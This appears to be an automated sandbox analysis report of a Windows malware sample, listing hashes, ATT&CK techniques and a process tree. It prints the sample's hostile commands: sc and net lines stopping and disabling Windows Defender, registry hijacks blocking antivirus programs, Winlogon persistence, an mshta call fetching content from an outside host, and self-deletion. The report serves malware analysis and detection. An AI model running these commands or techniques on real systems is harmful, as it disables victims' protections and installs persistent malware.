Analysis
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max time kernel
150s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
09/09/2024, 03:12
Static task
static1
Behavioral task
behavioral1
Sample
d590b23a30568137857908b877f22f0a_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d590b23a30568137857908b877f22f0a_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
d590b23a30568137857908b877f22f0a_JaffaCakes118.exe
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Size
1.7MB
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MD5
d590b23a30568137857908b877f22f0a
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SHA1
dc8be9d698f7ddcc85ed36ad3d18b7636a723e38
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SHA256
647549b542ee5654ac6af8b4ae444b6494eefca2a75a404e38c61e8bd39aa754
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SHA512
014ca243459a84436f975b136760fb7f65682b9b3c7dd4764cceec5d49a4a9a6d36a7f755b440653569ef72ebf71e08d32505c52af87c4fc3d22b4dbc096eebe
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SSDEEP
49152:477ecai0pFvzWdtskxbR7JHtjvIjEYszp+PG:47mi0nLAhxbJjvoRepp
Malware Config
Extracted
http://pcguarrantor-utility.com/favicon.ico?0=95&1=0&2=2&3=63&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000
Signatures
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Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\wrllqr.exe" wrllqr.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe wrllqr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe" wrllqr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe" wrllqr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe wrllqr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe wrllqr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe" wrllqr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe wrllqr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe wrllqr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe wrllqr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe wrllqr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe" wrllqr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe" wrllqr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" wrllqr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" wrllqr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe" wrllqr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe wrllqr.exe -
Deletes itself 1 IoCs
pid Process 2628 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 3036 wrllqr.exe -
Loads dropped DLL 2 IoCs
pid Process 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
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Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1152 sc.exe 2964 sc.exe 2660 sc.exe 2676 sc.exe 2128 sc.exe 1936 sc.exe -
System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d590b23a30568137857908b877f22f0a_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wrllqr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3036 wrllqr.exe Token: SeShutdownPrivilege 3036 wrllqr.exe Token: SeDebugPrivilege 3036 wrllqr.exe Token: SeShutdownPrivilege 3036 wrllqr.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe 3036 wrllqr.exe -
Suspicious use of WriteProcessMemory 52 IoCs
description pid Process procid_target PID 2092 wrote to memory of 1152 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 30 PID 2092 wrote to memory of 1152 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 30 PID 2092 wrote to memory of 1152 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 30 PID 2092 wrote to memory of 1152 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 30 PID 2092 wrote to memory of 2128 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 31 PID 2092 wrote to memory of 2128 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 31 PID 2092 wrote to memory of 2128 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 31 PID 2092 wrote to memory of 2128 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 31 PID 2092 wrote to memory of 2760 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 34 PID 2092 wrote to memory of 2760 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 34 PID 2092 wrote to memory of 2760 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 34 PID 2092 wrote to memory of 2760 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 34 PID 2092 wrote to memory of 1936 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 35 PID 2092 wrote to memory of 1936 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 35 PID 2092 wrote to memory of 1936 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 35 PID 2092 wrote to memory of 1936 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 35 PID 2092 wrote to memory of 3036 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 38 PID 2092 wrote to memory of 3036 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 38 PID 2092 wrote to memory of 3036 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 38 PID 2092 wrote to memory of 3036 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 38 PID 2092 wrote to memory of 2628 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 39 PID 2092 wrote to memory of 2628 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 39 PID 2092 wrote to memory of 2628 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 39 PID 2092 wrote to memory of 2628 2092 d590b23a30568137857908b877f22f0a_JaffaCakes118.exe 39 PID 2760 wrote to memory of 2800 2760 net.exe 41 PID 2760 wrote to memory of 2800 2760 net.exe 41 PID 2760 wrote to memory of 2800 2760 net.exe 41 PID 2760 wrote to memory of 2800 2760 net.exe 41 PID 3036 wrote to memory of 2964 3036 wrllqr.exe 42 PID 3036 wrote to memory of 2964 3036 wrllqr.exe 42 PID 3036 wrote to memory of 2964 3036 wrllqr.exe 42 PID 3036 wrote to memory of 2964 3036 wrllqr.exe 42 PID 3036 wrote to memory of 2660 3036 wrllqr.exe 43 PID 3036 wrote to memory of 2660 3036 wrllqr.exe 43 PID 3036 wrote to memory of 2660 3036 wrllqr.exe 43 PID 3036 wrote to memory of 2660 3036 wrllqr.exe 43 PID 3036 wrote to memory of 2788 3036 wrllqr.exe 45 PID 3036 wrote to memory of 2788 3036 wrllqr.exe 45 PID 3036 wrote to memory of 2788 3036 wrllqr.exe 45 PID 3036 wrote to memory of 2788 3036 wrllqr.exe 45 PID 3036 wrote to memory of 2676 3036 wrllqr.exe 47 PID 3036 wrote to memory of 2676 3036 wrllqr.exe 47 PID 3036 wrote to memory of 2676 3036 wrllqr.exe 47 PID 3036 wrote to memory of 2676 3036 wrllqr.exe 47 PID 3036 wrote to memory of 2308 3036 wrllqr.exe 51 PID 3036 wrote to memory of 2308 3036 wrllqr.exe 51 PID 3036 wrote to memory of 2308 3036 wrllqr.exe 51 PID 3036 wrote to memory of 2308 3036 wrllqr.exe 51 PID 2788 wrote to memory of 1440 2788 net.exe 50 PID 2788 wrote to memory of 1440 2788 net.exe 50 PID 2788 wrote to memory of 1440 2788 net.exe 50 PID 2788 wrote to memory of 1440 2788 net.exe 50
Processes
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C:\Users\Admin\AppData\Local\Temp\d590b23a30568137857908b877f22f0a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d590b23a30568137857908b877f22f0a_JaffaCakes118.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1152
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2128
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C:\Windows\SysWOW64\net.exenet stop msmpsvc2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
PID:2800
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C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1936
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C:\Users\Admin\AppData\Roaming\Microsoft\wrllqr.exeC:\Users\Admin\AppData\Roaming\Microsoft\wrllqr.exe2⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2964
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2660
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C:\Windows\SysWOW64\net.exenet stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc4⤵
- System Location Discovery: System Language Discovery
PID:1440
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C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2676
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C:\Windows\SysWOW64\mshta.exemshta.exe "http://pcguarrantor-utility.com/favicon.ico?0=95&1=0&2=2&3=63&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000"3⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2308
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\D590B2~1.EXE" >> NUL2⤵
- Deletes itself
- System Location Discovery: System Language Discovery
PID:2628
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Replay Monitor
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Downloads
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Filesize
1.7MB
MD5d590b23a30568137857908b877f22f0a
SHA1dc8be9d698f7ddcc85ed36ad3d18b7636a723e38
SHA256647549b542ee5654ac6af8b4ae444b6494eefca2a75a404e38c61e8bd39aa754
SHA512014ca243459a84436f975b136760fb7f65682b9b3c7dd4764cceec5d49a4a9a6d36a7f755b440653569ef72ebf71e08d32505c52af87c4fc3d22b4dbc096eebe